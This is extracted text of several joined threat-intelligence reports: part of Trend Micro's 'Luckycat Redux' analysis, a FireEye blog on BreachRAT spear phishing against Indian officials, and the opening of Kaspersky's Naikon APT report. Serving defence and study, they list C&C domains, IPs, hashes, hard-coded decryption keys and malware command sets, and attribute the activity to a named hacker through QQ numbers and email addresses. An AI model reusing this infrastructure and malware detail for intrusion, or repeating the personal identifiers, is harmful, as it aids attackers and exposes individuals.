ne.jp hi21222325.x.gg hi2122325hotmail.com kinkeechow.shop.co kinkee_chowmail.goo.ne.jp kittyshop.kilu.org pbdelhiofficegmail.com perfect.shop.co dsang72yahoo.com pumasports.website.org ranjitrai123hotmail.com tomsburs.shop.co yamagami_2011mail.goo.
ne.jp vpoasport.shopping2000.com beenznairgmail.com goodwell.all.co.uk paltry.parrotgooglemail.com fireequipment.website.org shrivastava.agrimgmail.com tennissport.website.org manindramohanshukla yahoo.com waterpool.website.org jaganacharyahotmail.com tb123.xoomsite.com tbda123.gwchost.com toms.0fees.net tomygreen.0fees.net killmannets.0fees.net maritimemaster.kilu.org masterchoice.shop.co jeepvihecle.shop.co lucysmith.0fees.net Table 2: Free web-hosting service domains the attackers used for CC servers The attackers also maintain servers that do not appear to be from free web-hosting service providers.
In fact, these appear to use dedicated VPS services.
Domain Email Address clbest.greenglassint.net 19013788qq.com bailianlan.c.dwyu.com dayinokqq.com duojee.info duojeeweiqq.com Table 3: CC servers that the attackers hosted on VPSs We also found advertisements for VPS services using two of the CC server IP addresses in Table 3.
While the VPS services were advertised in Chinese forums, the servers were actually hosted in the United States.
Figure 4: Sample ads for the VPS services the attackers use The diversity of CC hosting services used provided the attackers a resilient infrastructure.
If one server, for instance, was shut down for malicious activity, they can easily create more servers.
As victims of interest are identified, they can also be easily moved from free hosting servers to CC servers set up on more stable VPSs.
The domain and geographic diversity of the IP addresses also helped mask the attackers locations.
LUCKYCAT REDUX OPERATIONS The threat actors behind the Luckycat campaign tested one of their malware samples on a computer under their control.
In the process, they uploaded down.cab, which contains a command that creates a directory listing of the available drives on a compromised system, along with the output of the commands, ipconfig, tasklist, and systeminfo.
We were able to download this file from the CC server.
While it does not reveal the attackers identities, it does provide an inside view of their operations.
The result of the systeminfo command indicates that the attackers tested the malware in a virtual environment.
The environment was set up using a Chinese-language version of Windows XP.
Figure 5: Sample system information the attackers obtained after testing on a virtual machine (VM) We found that the product ID of the Windows XP software used was posted online in the past.
It was a pirated Windows XP version that was made available for purchase in China.
Figure 6: Sample ads for the pirated Windows XP version used While the rest of the information we gathered did not reveal significant clues due to the use of a VM, we found that the attackers left a shared driveD:\, which was indexed by the malware.
The index was then uploaded to the CC server.
Figure 7: Drive left available by the attackers that contains CC scripts and victim information LUCKYCAT REDUX In one of the directoriesccclllmmmm, we found that the attackers put a copy of the count.php CC backend as well as a list of the victims and the contents of their computers.
We were also able to find that the CC server the attackers used was a victims computer.
Figure 8: Victim information on the attackers CC server that is identical to the the information on the attackers shared D:\ drive To ensure operational security, the attackers installed Tor and Tunnelier.
Some of the email samples with malware attachments, in fact, sent through Yahoo Mail used Tor.
The use of this anonymity tool allowed the attackers to obscure their IP addresses, making it increasingly difficult for researchers to pinpoint their locations.
Figure 9: Anonymity tools the attackers had on the shared D:\ drive The attackers also had mailing software such as FoxMail and Supermailer on the shared D:\ drive.
While these tools are not malicious, the attackers used these to easily send out socially engineered emails.
These also allowed them to keep track of their various identities and email accounts.
One of the samples we obtained used the Chinese- language version of FoxMail.
The attackers clearly have operational procedures in place to obscure their true locations with the aid of anonymity tools.
They also have a virtualized environment set up to test and fine-tune their malware as well as the necessary tools to maintain their various identities and send out socially engineered emails with malicious attachments.
LUCKYCAT REDUX ATTRIBUTION Additional clues concerning the attackers had to with the email address, 19013788qq.com, which was used to register one of the CC servers, clbest.greenglassint.
net.
This email address can be mapped to the QQ number, 19013788.
QQ is popular instant-messaging (IM) software in China.
This QQ number is linked to a hacker in the Chinese underground community who goes by the nickname, dang0102, and has published posts in the famous hacker forum, XFocus, in 2005.
Figure 10: Sample post by dang0102 using the QQ number, 19013788 The same hacker also published a post on a student BBS of the Sichuan University using the nickname, scuhkr, in 2005.
He wanted to recruit 24 students to a network attack and defense research project at the Information Security Institute of the Sichuan University then.
Scuhkr also authored articles related to backdoors and shellcode in a hacking magazine that same year.16 16 http://www.cqvip.com/Main/Search.aspx?wScuhkr Figure 11: Post by schuhkr using the QQ number, 19013788 The post in Figure 11 contains two email addresses ggggggsccdsina.com and scuhkr21cn.com, along with an additional QQ number, 2888111.
The email address, scuhkr21cn.com, is also associated with an account on rootkit.com.17 Investigating the second QQ number allowed us to determine that scuhkr also used the nickname, lolibaso.
The other individual mentioned in the post also worked and studied at the Information Security Institute of the Sichuan University and has published several articles related to fuzzing vulnerabilities in 2006.
17 http://dazzlepod.com/rootkit/?page83 http://www.cqvip.com/Main/Search.aspx?wScuhkr http://dazzlepod.com/rootkit/?page83 LUCKYCAT REDUX CAMPAIGN CONNECTIONS We were able to identify five malware families that were either used by or hosted on the same dedicated server with the domain name, duojee.info.
Some of these were used as second-stage malware that the attackers pushed to victims whose systems have been compromised by first- stage malware.
Second-stage malware typically provided additional functionality and were especially used if the first-stage malware is very simplistic.
We also found that the attackers used several malware families that have been utilized in previous campaigns.
This may indicate a level of collaboration across campaigns.
shaDownet The first interesting connection we noticed in conjunction with the Luckycat campaign had to do with ShadowNet, a cyber-espionage network documented by researchers at the University of Toronto and the ShadowServer Foundation.18 We found a socially engineered email that had two malicious file attachments.
Figure 12: Sample targeted email with both Luckycat and ShadowNet malware attachments 18 http://www.nartv.org/mirror/shadows-in-the-cloud.pdf One of the sample emails attachments was part of the Luckycat campaign while the other was part of the ShadowNet campaign.
The ShadowNet campaign has a history of targeting Tibetan activists as well as the Indian government, which fits the profile of the Luckycat campaigns as well.
Figure 13: Relationship between the Luckycat and the ShadowNet campaigns The ShadowNet malware, detected by Trend Micro as TROJ_GUPD.AB, first connects to a blog in order to receive the URL of the CC server.
The URL was encoded using a modulus operation.
The malware on the compromised computer decodes the URL then issues a connection to the CC server.
The compromised computer posts data to a PHP script running on the server, usually named index.
php or all.php, and contains information about it as well as a campaign code.
The information is stored in a .TXT file on the CC server.
The compromised computer continues to beacon to the CC server to see if the operators have designed any commands.
If they have, the compromised computer then executes the given commands and reports the results back to the CC server.
http://www.nartv.org/mirror/shadows-in-the-cloud.pdf LUCKYCAT REDUX Figure 14: Sample ShadowNet malware related to a Luckycat email attack This attack used the theme of self-immolation in Tibet for both the email and the decoy document that is opened after the vulnerability exploitation.
The malicious file attachment exploits a vulnerability in Microsoft Office CVE-2010-3333, to drop malware onto the targets system.
The malware was configured to connect to two blogs and a Yahoo Group in order to find the CC servers location.
Figure 15: Example of a blog used by ShadowNet to communicate an encoded CC server location The blogs and groups the ShadowNet attackers use can be easily updated whenever the CC servers are changed.
The URL of the blog is embedded in the malware.
The malware connects to the blog and decodes the CC URL then connects to the CC server.
The commands the server issues are also encoded using a simple logical operator.
The malware also decodes these using keycodes that are sent along with the actual commands.
MD5 CVE Identifier Campaign Code 26891c3e4a2de034e4841db2a579734f CVE-2011-2462 circle ebea24fe1611a1ab778f5ecceb781fad CVE-2010-3333 circle Table 4: ShadowNet malware samples related to the Luckycat campaign Duojeen The malware attacks related to the Duojeen campaign all target the Tibetan community and use a single CC server duojee.info.
We also found that a malware binary available for download from duojee.info is a TROJ_WIMMIE Trojan that connects back to bailianlan.c.dwyu.coma CC server the Luckycat attackers use.
LUCKYCAT REDUX Figure 16: Relationship between the Duojeen and the Luckycat campaigns The duojee.info server is the CC component of the Duojeen campaign.
The related malware, detected by Trend Micro as BKDR_DUOJEEN.A, connects to a CC server and posts data to a PHP script typically named, linux.php, solaris.php, or freebsd.php.
The following information is encoded using logical operators such as xor, or, or bitwise shifting on adjacent bytes in the malware: Hostname Computer name MAC address IP address, subnet mask, and gateway Network resources Running processes Microsoft Outlook user account information (e.g., HTTP mail user name, POP3 user name, or POP3 server) Recently opened files The Duojeen malware continues to poll the CC server then executes one of the only possible commands specified by the attackers: Stop the malware from communicating with the CC server Download and execute a second-stage malware Figure 17: Sample Duojeen attack email LUCKYCAT REDUX One of the Duojeen attacks leverages a Tibetan-themed job ad to encourage potential victims to open an attached document that exploits a vulnerability in Microsoft OfficeCVE-2010-3333, in order to drop a malware that connects to duojee.info.
MD5 CVE Identifier Campaign Code 715cbbe21844bbb4f1f60a91ae28def3 CVE-2010-3333 aaaa a9bda3c31fc6acc83a5226226f7ab554 CVE-2010-3333 aaaa 567a774cf865b50189e81c14b4ca4b63 CVE-2010-3333 aaaa e62c115b6874726c309b3038a9391e28 CVE-2010-3333 aaaa 9860d087892fce98e6f639e3e9dba91e Not applicable aaa d773e3bacc2c8389c2ab51c9cbc68480 Not applicable aaa Table 5: Duojeen malware samples Duojee.info also contains the PHP scripts used for commanding and controlling the Luckycat campaign at /holly/count.php as well as ShadowNet at /soom/cont.php.
The duojee.info server also has a phishing page designed to steal passwords from mail.tibet.net users.
Figure 18: Phishing page hosted on duojee.info The duojee.info server also has other malware from two additional families available for download.
One malware is known as Comfoo, related to yet another cyber-espionage campaign, while the other is known as Sparksrv.
sparksrv Sparksrv refers to a second-stage malware that provides backdoor access with significantly more functionality than first-stage droppers.
Second-stage malware, often Remote Administration Trojans (RATs), are deployed because first-stage malware only provide simple check-in functionality such as a short list of commands that can be scheduled.
Second-stage RATs, on the other hand, provide an additional access channel as well as real-time control over a compromised machine if the attackers and the victims are online at the same time.
Figure 19: Relationship between the Sparksrv and the Luckycat campaigns The Sparksrv malware, detected by Trend Micro as BKDR_ RPKNUF.A, was initially found on a ShadowNet server in November 2011.
We have, however, found several instances of a newer version of the same malware on duojee.
info.
The malware initially sends the following plain-text information through port 443: Identifier MAC address IP address LUCKYCAT REDUX Once the malware establishes a connection, it then starts to receive commands from the CC server, which allow the attackers to do the following: Start or kill a process Copy or search for a file Download or upload files MD5 Domain IP Address 0a927897ab5acff1e6bd45897368253b fidk.rkntils.dnset.com 69.162.71.254 b53f71e4dd2ca8826e6191dee439564b fidk.rkntils.dnset.com 69.162.71.254 a2b37776e0bd6594c688a8214371b9ff rukiyeangel.dyndns.pro 199.192.152.100 Table 6: Sparksrv malware samples and CC locations We also found an older version of the malware on a ShadowNet server, sunshine.shop.co.
MD5 IP Address d0eec59f1e74c0851c8dd1c8be88f2b9 173.208.242.25 Table 7: Older Sparksrv malware version found on a ShadowNet server coMfoo Comfoo malware have been seen in conjunction with campaigns targeting sensitive entities in both Japan and India.
We found a version of the Comfoo malware on the duojee.info server as well as an email attack that used the same version of Comfoo malware.
In fact, the .DOC file used in the attack dropped an .EXE file with the same MD5 hash as the one found on the duojee.info server.
Figure 20: Relationship between the Comfoo and the Luckycat campaigns Create or delete directories Load a DLL Invoke a command shell LUCKYCAT REDUX While at least two of the Comfoo variants are essentially the same, the traffic encryption methods used in the Comfoo sample found in connection with duojee.info differed from other Comfoo variants weve analyzed that are not directly related to the Luckycat campaign.
The more common Comfoo malware samples we analyzed used custom encryption methods while the variant found on the duojee.info server utilized the Windows Cryptographic Application Programming Interface (API).
This Comfoo variants initial network communication sent the following information to the CC server: Randomly generated characters MAC address IP address OS version String, liberate, as campaign code The attackers gather the following information from infected systems: CPU, NETBIOS, and disk information System, OS version, and account information Network adapters, protocols, and configuration information Installed applications as well as Internet Explorer (IE) and Browser Helper Object (BHO) information The malware the attackers use is capable of receiving several commands.
Command Description 0x233C Invoke command shell 0x1B6C Take screenshot 0x139C Start interactive desktop 0x1F54 Start keylogging 0xFDC Stop service 0xFF0 Delete service 0xBCC Enumerate running processes 0xBE0 Terminate process 0x2EF4 Download file Table 8: Commands the Comfoo malware receive Figure 21: Sample Comfoo campaign email This Comfoo email attack leverages the current situation in Tibet to encourage recipients to open a malicious attachment that exploits a vulnerability in Microsoft OfficeCVE-2010-3333, in order to drop a malware onto the targets system.
Figure 22: Comfoo decoy document that exploits a Microsoft Office vulnerability After the decoy document opens, the Comfoo malware begins to communicate with johnnees.rkntils.10dig.net, which resolves to the IP address, 69.162.71.254the same host that some Sparksrv malware samples we analyzed use.
LUCKYCAT REDUX MD5 CVE Identifier Campaign Code 24552d599b650ca3ecd467d9d740de33 CVE-2010-3333 liberate 6815ab1f11ac33d4c1149efc3206d794 Not applicable liberate 6bd4e7d7408e0d8d1592e27fc19650c8 Not applicable liberate Table 9: Comfoo malware samples The samples in Table 9 connect to havefuns.rkntils.10dig.net or johnnees.rkntils.10dig.net, which both resolve to the same IP address69.162.71.254.
LUCKYCAT REDUX CONCLUSION Targeted attacks have been extremely successful, making the scope of the problem truly global.
These have been affecting governments, militaries, defense industries, high-technology companies, intergovernmental organizations, nongovernmental organizations (NGOs), media organizations, academic institutions, and activists worldwide.
Targeted attacks are not isolated smash-and-grab incidents.
They are part of consistent campaigns that aim to establish persistent, covert presence in a targets network so that information can be extracted as needed.
Targeted attacks may not be easy to understand but careful monitoring allows researchers to leverage the mistakes attackers make to get a glimpse inside their operations.
Moreover, we can track cyber-espionage campaigns over time using a combination of technical and contextual indicators.
This paper specifically discussed the Luckycat campaign.
In the course of our research, we discovered that it had a much more diverse target set than previously thought.
Not only did the attackers target military research institutions in India, as earlier disclosed by Symantec, they also targeted sensitive entities in Japan and India as well as Tibetan activists.
They used a diversity of infrastructure as well, ranging from throw-away free-hosting sites to dedicated VPSs.
We also found that the Luckycat campaign can be linked to other campaigns as well.
The people behind it used or provided infrastructure for other campaigns that have also been linked to past targeted attacks such as the previously documented ShadowNet campaign.19 Understanding the attack tools, techniques, and infrastructure used in the Luckycat campaign as well as how an individual incident is related to a broader campaign provides the context necessary for us to assess its impact and come up with defensive strategies in order to protect our customers.
19 http://www.nytimes.com/2010/04/06/science/06cyber.html?_r2 DEFENDING AGAINST APTS Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures.
As such, apart from standard and relevant attack prevention measures and mechanisms such as solid patch management endpoint and network security firewall use and the like, enterprises should also focus on detecting and mitigating attacks.
Moreover, data loss prevention (DLP) strategies such as identifying exactly what an organization is protecting and taking into account the context of data use should be employed.
local anD external threat intelligence Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks utilize.
Both external and local threat intelligence is crucial for developing the ability to detect attacks early.
The following are the core components of this defense strategy: Enhanced visibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors that can indicate a targeted attack.
Integrity checks: In order to maintain persistence, malware will make modifications to the file system and registry.
Monitoring such changes can indicate the presence of malware.
Empowering the human analyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network.
This information is used in conjunction with custom alerts based on the local and external threat intelligence available.
http://www.nytimes.com/2010/04/06/science/06cyber.html?_r2 LUCKYCAT REDUX Technologies available today such as Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.20 Deep Discovery uniquely detects and identifies evasive threats in real time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks.
Mitigation anD cleanup strategy Once an attack is identified, the cleanup strategy should focus on the following objectives: Determine the attack vector and cut off communications with the CC server.
Determine the scope of the compromise.
Assess the damage by analyzing the data and forensic artifacts available on compromised machines.
Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated.
20 http://www.trendmicro.com/us/enterprise/security-risk-management/ deep-discovery/index.html eDucating eMployees against social engineering Security-related policies and procedures combined with education and training programs are essential components of defense.
Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees.
Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence.
Data-centric protection strategy The ultimate objective of targeted attacks is to acquire sensitive data.
As such, DLP strategies that focus on identifying and protecting confidential information are critical.
Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it.
Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment.
http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html LUCKYCAT REDUX TREND MICRO THREAT PROTECTION AGAINST LUCKYCAT CAMPAIGN COMPONENTS The following table summarizes the Trend Micro solutions for the components of the Luckycat campaign.
Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks.
Attack Component Protection Technology Trend Micro Solution HTTP CC communication fingerprint count.php?mcn[HOSTNAME]_[MAC_ ADDRESS]_[CAMPAIGN_CODE] Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_WIMMIE VBS_WIMMIE File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) LUCKYCAT REDUX Attack Component Protection Technology Trend Micro Solution CVE-2010-3333 CVE-2010-2883 CVE-2010-3654 CVE-2011-0611 CVE-2011-2462 Vulnerability Shielding/Virtual Patching Server (Deep Security) Endpoint (OfficeScan with Intrusion Defense Firewall Plug-In) For CVE-2010-3333: Rule 1004498 (Microsoft Word .RTF File Parsing Stack Buffer Overflow Vulnerability) For CVE-2010-2883: Rule 1004393 (Adobe Reader SING Table Parsing Vulnerability) Rule 1004113 (identified malicious .PDF file) Rule 1004315 (identified malicious .PDF file - 3) For CVE-2010-3654: Rule 1004497 (Adobe Flash Player Unspecified Code Execution Vulnerability) For CVE-2011-0611: Rule 1004801 (Adobe Flash Player .SWF File Remote Memory Corruption Vulnerability) Rule 1004114 (identified malicious .SWF file) Rule 1004647 (restrict Microsoft Office file with embedded .SWF file) For CVE-2011-2462: Rule 1004871 (Adobe Acrobat/ Reader U3D Component Memory Corruption Vulnerability) Rule 1004873 (Adobe Acrobat/ Reader U3D Component Memory Corruption) LUCKYCAT REDUX LUCKYCAT REDUX 2012 by Trend Micro, Incorporated.
All rights reserved.
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All other product or company names may be trademarks or registered trademarks of their owners.
TREND MICRO Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers.
A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments.
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TREND MICRO INC.
10101 N. De Anza Blvd.
Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com Attack Component Protection Technology Trend Micro Solution cattree.1x.biz charlesbrain.shop.co footballworldcup.website.org frankwhales.shop.co hi21222325.x.gg kinkeechow.shop.co kittyshop.kilu.org perfect.shop.co pumasports.website.org tomsburs.shop.co vpoasport.shopping2000.com goodwell.all.co.uk fireequipment.website.org tennissport.website.org waterpool.website.org tb123.xoomsite.com tbda123.gwchost.com toms.0fees.net tomygreen.0fees.net killmannets.0fees.net maritimemaster.kilu.org masterchoice.shop.co jeepvihecle.shop.co lucysmith.0fees.net Web, Domain, and IP Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) March 2012  APT Campaign Quick Profile: LUCKYCAT Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victims network so they can move laterally and exfiltrate data.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques.
Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.
LUCKYCAT First Seen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The Luckycat campaign has been active since at least June 2011.
Victims and Targets APT campaigns target specific industries or communities of interest in specific regions.
The Luckycat campaign has been linked to 90 attacks against the following industries and/or communities in Japan and India: AEROSPACE     ENERGY     ENGINEERING     SHIPPING    MILITARY RESEARCH    TIBETAN ACTIVISTS The threat actors behind the Luckycat campaign used a unique campaign code to track victims of specific attacks.
Operations The 1st-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
Targeted emails that are contextually relevant (i.e., emails containing a decoy document of radiation dose measurement results sent some time after the Great East Japan Earthquake) Exploited CVE-2010-3333 (aka, Rich Text Format [RTF] Stack Buffer Overflow Vulnerability) in several instances, although Adobe Reader and Flash Player vulnerabilities were also exploited Used TROJ_WIMMIE or VBS_WIMMIEmalware that take advantage of the Windows Management Instrumentation (WMI), making the backdoor component undetectable through file scanning The WIMMIE malware, once inside the network, connects to a command-and-control (CC) server via HTTP over port 80 Attackers heavily used free web-hosting services to host their CC servers under a diverse set of domain names but also used virtual private servers (VPSs) for more stable operations Possible Indicators of Compromise Attackers want to remain undetected as long as possible.
A key characteristic of these attacks is stealth.
WIMMIE malware do not leave much network fingerprint.
However, the following is an identifiable HTTP CC communication fingerprintcount.php?mcn[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE].
This format can also be seen in the URL inside the script when /namespace:\\root\subscription path __eventconsumer is typed in the command line for WMI.
Relationship with Other APT Campaigns Malware identified with the ShadowNet, Duojeen, Sparksrv, and Comfoo campaigns were used or found hosted on the same dedicated server used by the Luckycat campaign.
Introduction Diversity of Targets Diversity of Malware Diversity of Infrastructure Operations Attribution Luckycat Examples of Luckycat Attacks Example 1: Japan Example 2: India Example 3: Tibet Vulnerabilities and Malware Samples Campaign Codes Command and Control Operations Attribution Campaign Connections ShadowNet Duojeen Sparksrv Comfoo Conclusion Defending Against APTs Local and External Threat Intelligence Mitigation and Cleanup Strategy Educating Employees Against Social Engineering Data-Centric Protection Strategy Trend Micro Threat Protection Against Luckycat Campaign Components
APT Group Sends Spear Phishing Emails to Indian Government Officials June 03, 2016  by Yin Hong Chang, Sudeep Singh  Targeted Attack Introduction On May 18, 2016, FireEye Labs observed a suspected Pakistan-based APT group sending spear phishing emails to Indian government officials.
This threat actor has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets.
This group frequently uses a toolset that consists of a downloader and modular framework that uses plugins to enhance functionality, ranging from keystroke logging to targeting USB devices.
We initially reported on this threat group and their UPDATESEE malware in our FireEye Intelligence Center in February 2016.
Proofpoint also discussed the threat actors, whom they call Transparent Tribe, in a March blog post.
In this latest incident, the group registered a fake news domain, timesofindiaa[.
]in, on May 18, 2016, and then used it to send spear phishing emails to Indian government officials on the same day.
The emails referenced the Indian Governments 7th Central Pay Commission (CPC).
These Commissions periodically review the pay structure for Indian government and military personnel, a topic that would be of interest to government employees.
Malware Delivery Method In all emails sent to these government officials, the actor used the same attachment: a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload.
In previous incidents involving this threat actor, we observed them using malicious documents hosted on websites about the Indian Army, instead of sending these documents directly as an email attachment.
The email (Figure 1) pretends to be from an employee working at Times of India (TOI) and requests the recipient to open the attachment associated with the 7th Pay Commission.
Only one of the recipient email addresses was publicly listed on a website, suggesting that the actor harvested the other non-public addressees through other means.
Figure 1: Contents of the Email A review of the email header data from the spear phishing messages showed that the threat actors sent the emails using the same infrastructure they have used in the past.
Exploit Analysis Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word.
This exploit file made use of the same shellcode that we have observed this actor use across a number of spear phishing incidents.
Figure 2: Exploit Shellcode used to Locate and Decode Payload The shellcode (Figure 2) searches for and decodes the executable payload contained in memory between the beginning and ending file markers 0xBABABABA and 0xBBBBBBBB, respectively.
After decoding is complete, the shellcode proceeds to save the executable payload into temp\svchost.exe and calls WinExec to execute the payload.
After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog: Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word.
Figure 3: Decoy Document related to 7th Pay Commission The decoy documents metadata (Figure 4) suggests that it was created fairly recently by the user Bhopal.
Figure 4: Metadata of the Document The payload is a backdoor that we call the Breach Remote Administration Tool (BreachRAT) written in C. We had not previously observed this payload used by these threat actors.
The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb.
This RAT communicates with 5.189.145.248, a command and control (C2) IP address that this group has used previously with other malware, including DarkComet and NJRAT.
The following is a brief summary of the activities performed by the dropped payload: 1.
Decrypts resource 1337 using a hard-coded 14-byte key MjEh92jHaZZOl3.
The encryption/decryption routine (refer to Figure 5) can be summarized as follows: Figure 5: Encryption/ Decryption Function Generate an array of integers from 0x00 to 0xff Scrambles the state of the table using the given key Encrypts or decrypts a string using the scrambled table from (b).
A python script, which can be used for decrypting this resource, is provided in the appendix below.
2.
The decrypted resource contains the C2 servers IP address as well as the mutex name.
3.
If the mutex does not exist and a Windows Startup Registry key with name System Update does not exist, the malware performs its initialization routine by: Copying itself to the path PROGRAMDATA\svchost.exe Sets the Windows Startup Registry key with the name System Update which points to the above dropped payload.
4.
The malware proceeds to connect to the C2 server at 5.189.145.248 at regular intervals through the use of TCP over port 10500.
Once a successful connection is made, the malware tries to fetch a response from the server through its custom protocol.
5.
Once data is received, the malware skips over the received bytes until the start byte 0x99 is found in the server response.
The start byte is followed by a DWORD representing the size of the following data string.
6.
The data string is encrypted with the above-mentioned encryption scheme with the hard-coded key AjN28AcMaNX.
7.
The data string can contain various commands sent by the C2 server.
These commands and their string arguments are expected to be in Unicode.
The following commands are accepted by the malware: Conclusion As with previous spear-phishing attacks seen conducted by this group, topics related to Indian Government and Military Affairs are still being used as the lure theme in these attacks and we observed that this group is still actively expanding their toolkit.
It comes as no surprise that cyber attacks against the Indian government continue, given the historically tense relations in the region.
Appendix Encryption / Decryption algorithm translated into Python This entry was posted on Fri Jun 03 01:30:00 EDT 2016 and filed under APT, Latest Blog Posts, Spear Phishing, Sudeep Singh, Targeted Attack and Yin Hong Chang.
APT  CYBER ESPIONAGE  SOCIAL ENGINEERING  TARGETED ATTACKS VULNERABILITIES AND EXPLOITS Our recent report, The Chronicles of the Hellsing APT: the Empire Strikes Back began with an introduction to the Naikon APT, describing it as One of the most active APTs in Asia, especially around the South China Sea.
Naikon was mentioned because of its role in what turned out to be a unique and surprising story about payback.
It was a Naikon attack on a Hellsing-related organization that first introduced us to the Hellsing APT.
Considering the volume of Naikon activity observed and its relentless, repeated attack attempts, such a confrontation was worth looking into, so we did.
The Naikon APT aligns with the actor our colleagues at FireEye recently revealed to be APT30, but we havent discovered any exact matches.
It is hardly surprising that there is an element of overlap, considering both actors have for years mined victims in the South China Sea area, apparently in search of geo-political intelligence.
The Naikon APTThe Naikon APT Tracking Down Geo-Political Intelligence Across APAC, One Nation at a Time By Kurt Baumgartner, Maxim Golovkin on May 14, 2015.
3:00 am PUBLICATIONS The NaikonAPT group was spear- phished by an actor we now call Hellsing Tweet The NaikonAPT https://securelist.com/all?tag538 https://securelist.com/all?tag185 https://securelist.com/all?tag29 https://securelist.com/all?tag53 https://securelist.com/all?tag41 https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/ https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf javascript:window.print() https://securelist.com/all?category159 https://securelist.com/author/kurtb/ https://securelist.com/author/maximgolovkin/ https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThe23NaikonAPTgroupwasspear-phishedbyanactorwenowcall22Hellsing22 https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThe23NaikonAPTgrouphasfor5yearsminedvictims2Capparentlyinsearchofgeo-politicalintelligence This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010.
Noteworthy operational and logistical characteristics of this APT include: At least five years of high volume, high profile,  geo-political attack activity Geographical  focus  per-country, individual operator assignment and proxy presence Dynamic, well organized infrastructure Reliance on an externally developed, consistent set of tools comprising a full-featured backdoor, a builder, and an exploit builder High success rate in infiltrating national organisations in ASEAN countries Highly Focused and EffectiveHighly Focused and Effective Around the South China SeaAround the South China Sea In the spring of 2014, we noticed an increase in the volume of attack activity by the Naikon APT.
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, Nepal, Thailand, Laos and China.
group has for 5 years mined victims, apparently in search of geo-political intelligence Tweet https://kasperskycontenthub.com/securelist/files/2015/05/Naikon_1.jpg https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fanalysis2Fpublications2F699532Fthe-naikon-apt2FtextThe23NaikonAPTgrouphasfor5yearsminedvictims2Capparentlyinsearchofgeo-politicalintelligence DecoyDecoy An attack typically starts with an email carrying an attachment that contains information of interest to the potential victim.
The document may be based on information from open sources or on proprietary information stolen from other compromised systems.
This bait document, or email attachment, appears to be a standard Word document, but is in fact an CVE-2012-0158 exploit, an executable with a double extension, or an executable with an RTLO filename, so it can execute code without the users knowledge or consent.
When the executable is launched, spyware is installed on the victim computer at the same time as a decoy document is displayed to the user fooling them into thinking they have simply opened a document.
ConfigurationConfiguration https://kasperskycontenthub.com/securelist/files/2015/05/Naikon_1.jpg The Naikon tool of choice generates a special, small, encrypted file which is 8,000 bytes in size, containing code to be injected into the browser along with configuration data.
With the help of a start-up module, this whole file is injected into the browser memory and decrypts the configuration block containing the following: CC server Ports and path to the server User-agent string Filenames and paths to its components Hash sums of the user API functions The same code then downloads its main body from the CC server using the SSL protocol, loads it independently from the operating system functions and, without saving it to the hard drive, hands over control to the XS02 function.
All functionality is handled in memory.
